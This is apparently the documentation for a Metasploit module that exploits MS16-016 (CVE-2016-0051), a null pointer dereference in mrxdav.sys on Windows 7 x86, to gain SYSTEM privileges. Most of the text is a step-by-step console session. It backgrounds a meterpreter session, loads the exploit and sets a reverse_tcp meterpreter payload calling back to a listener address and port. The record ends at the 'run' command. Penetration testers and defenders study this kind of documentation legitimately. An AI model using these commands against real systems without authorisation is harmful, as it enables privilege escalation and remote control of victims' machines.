This module exploits a null pointer dereference vulnerability present in the mrxdav.sys kernel driver on Windows 7 x86. The vulnerability is described by MS16-016 and CVE-2016-0051. The module allows the user to spawn a new payload, such as meterpreter, on the target system with elevated privileges (NT AUTHORITY\SYSTEM)
You'll first need to obtain a session on the target system. Next, once the module is loaded, one simply needs to set the ```payload``` and ```session``` options. From here, running the module will result in the payload being executed with system level privileges.
An example session follows:
```
meterpreter > background
[*] Backgrounding session 5...
msf exploit(handler) > use exploits/windows/local/ms16_016_webdav
msf exploit(ms16_016_webdav) > set session 5
session => 5
msf exploit(ms16_016_webdav) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms16_016_webdav) > set lport 4567
lport => 4567
msf exploit(ms16_016_webdav) > set lhost 192.168.1.203
lhost => 192.168.1.203
msf exploit(ms16_016_webdav) > run
